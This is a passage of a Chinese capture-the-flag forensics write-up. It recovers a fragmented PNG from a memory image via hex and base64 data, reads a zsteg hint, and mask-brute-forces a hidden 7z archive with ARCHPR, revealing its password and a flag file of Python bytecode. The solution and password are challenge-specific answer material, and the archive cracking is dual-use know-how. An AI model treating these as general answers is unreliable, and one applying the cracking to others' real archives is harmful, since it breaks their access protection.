6C 77 42 4A 67 45 31 55 39 67 42 46 51 51 4C 67 59 41 42 33 30 65 51 4F 6A 61 6C 32 56 66 76 49 2F 55 2B 66 65 4C 36 4B 6A 38 61 31 7A 70 46 52 4B 79 70 50 4B 50 78 33 2B 76 66 31 37 4F 32 77 70 62 65 6D 51 55 6B 6F 70 48 56 4A 4B 32 37 61 6C 51 7A 6F 63 30 69 46 74 61 64 73 4F 32 2B 47 77 48 64 4B 57 30 6E 5A 49 32 37 64 66 44 79 6B 64 30 69 46 74 57 30 6F 70 62 53 6B 64 44 69 6C 74 4B 61 58 44 64 76 66 37 34 5A 43 6D 2F 33 2F 47 47 57 66 34 34 62 74 44 4F 71 52 30 4F 4B 54 44 33 2F 2B 58 44 69 6D 6C 66 2F 7A 7A 33 65 48 77 54 53 42 38 6B 77 50 35 71 62 38 33 37 64 2F 2F 2B 76 76 76 68 35 51 4F 33 35 34 2B 66 42 4D 4B 2B 66 65 55 55 76 72 48 50 32 2B 4F 2F 72 76 2B 2F 31 50 45 35 66 57 4E 4E 77 6C 6F 63 47 6A 32 47 75 2B 7A 56 78 39 63 2B 75 58 67 78 5A 75 50 64 2F 2B 32 34 4E 74 33 72 52 38 66 58 7A 77 69 4E 58 5A 39 2B 35 6E 64 6C 75 53 67 53 32 5A 53 2B 74 52 61 51 46 7A 2B 65 6D 79 6F 47 63 30 6A 6D 68 35 66 50 41 4C 50 68 53 54 2B 2F 50 55 6E 38 7A 34 68 79 4C 78 71 38 65 7A 33 58 33 35 4D 4B 63 48 57 58 75 75 5A 47 5A 2F 76 39 62 6C 4E 38 50 7A 31 37 65 77 52 4D 4A 35 63 76 52 56 72 61 32 55 61 4B 4B 44 51 76 63 70 59 5A 33 53 57 66 38 65 4F 4B 54 2B 2F 43 69 38 34 6F 50 42 6D 4B 67 41 77 65 50 72 79 76 57 52 7A 5A 68 67 78 54 6C 49 41 72 6F 49 65 50 35 35 63 76 54 58 64 53 43 4D 36 52 72 2F 56 66 2B 38 4A 67 57 68 7A 57 39 4A 48 32 55 75 55 75 53 45 4C 41 4D 6E 4E 50 70 76 51 31 58 44 31 31 79 66 55 38 39 67 46 33 66 75 4E 30 35 38 6E 50 4F 6D 4A 7A 67 75 4D 64 6B 54 42 59 64 76 2B 74 75 4E 37 34 66 4C 36 68 6E 77 6D 50 75 4F 4D 45 73 39 65 66 62 67

iVBORw0KGgoAAAANSUhEUgAAAQAAAAEACAYAAABccqhmAAABG2lUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4KPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iWE1QIENvcmUgNi4wLjAiPgogPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4KICA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIi8+CiA8L3JkZjpSREY+CjwveDp4bXBtZXRhPgo8P3hwYWNrZXQgZW5kPSJyIj8+l1vpCgAAI7JJREFUeJztXU2SVTey1rVfmHgRJp6fCc88Kg/eFuwleA1sj+olwBJgE1U9gBFQQLgYAB30eQOjal2VfvI/U+feL6Kj8a1zpFRKypPKPx3+vf17O2wpbemQUkopHVJK27alQzoc0iFtadsO2+GwHdKW0nZI27dfDykd0iFtW0opbSkdDiltKaXDdvf74ZCm/3/GGWf44btDOqR0OKTD3/+XDimlf/zz3eHwTSB8kwP5qb837d//+vvvh5QO354+fBMK+feUUvrHP2+O/rv+/1PE5fWNNwlocGj2Gu+zVx9c+uXgxZuPd/+24Nt3rR8fXzwiNXZ9+5ndluSgS2ZS+tRaQFz+emyoGc0jmh5fPALPhST+/PUn8z4hyLxq8ez3X35MKcHWXuuZGZ/v9blN8Pz17ewRMJ5cvRVra2UaKKDQvcpYZ3SWf8eOKT+/Ci84oPBmKgAwePryvWRzZhgxTlIAroIeP55cvTXdSCM6Rr/Vf+8JgWhzW9JH2UuUuSELAMnNPpvQ1XD11yfU89gF3fuN058nPOmJzguMdkTBYdv+tuN74fL6hnwmPuOMEs9efbg

image-20241104164350569

base64解码后很明显可以发现图片尾部是不完整的,但是从刚才第一张图片的尝试中

我们发现图片在内存中是分段存储的,因此我们可以尝试在010中搜索上面base64的尾部数据 tuN74fL6hnwmPuOMEs9efbg

image-20241104164409644

尝试后发现是可以找到后面的数据的,因此我们以此类推,每次拼接后都搜索尾部的数据

最后将所有的Hex数据都提取出来并解码可以得到

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

base64解码后即可得到下面这张图片

image-20241104164449083

赛后和别的师傅交流的过程中发现有的师傅说这里直接 foremost 也可以得到这张图片

虽然是不完整的,但是 zsteg 一下也可以得到下面的 Hint

感觉这里也算是非预期吧,出题人如果隐写的内容不放在开头,可能就要把图片完整提取出来才行了

之前睿抗也遇到过这样的情况,也算是给自己提了个醒,以后出题别把隐写的内容放在图片头部(坏笑)

zsteg一下,发现有一个Hint:Y3p_Ke9_1s_????? ``

image-20241104164521295

然后我们在回头查看那个内存镜像,尝试一下常用的文件头,看看有没有别的文件

发现存在 7z 的文件头 37 7A BC AF 27 1C ,内存镜像的末尾藏了一个7z压缩包

image-20241104164540660

因此我们手动提取出来,然后结合刚才的提示 Y3p_Ke9_1s_?????,猜测是压缩包掩码爆破

因此我们使用 ARCHPR 爆破上面提取得到的 7z 压缩包

image-20241104164557729

爆破后得到压缩包解压密码:Y3p_Ke9_1s_29343

image-20241104164614490

解压压缩包后得到 flag.txt ,内容如下:

31         226 PUSH_NULL
228 LOAD_NAME 8 (key_encode)
230 LOAD_NAME 7 (key)
232 PRECALL 1
236 CALL 1
246 STORE_NAME 7 (key)

32 248 PUSH_NULL
250 LOAD_NAME 10 (len)
252 LOAD_NAME 7 (key)
254 PRECALL 1
258 CALL 1
268 LOAD_CONST 7 (16)
270 COMPARE_OP 2 (==)
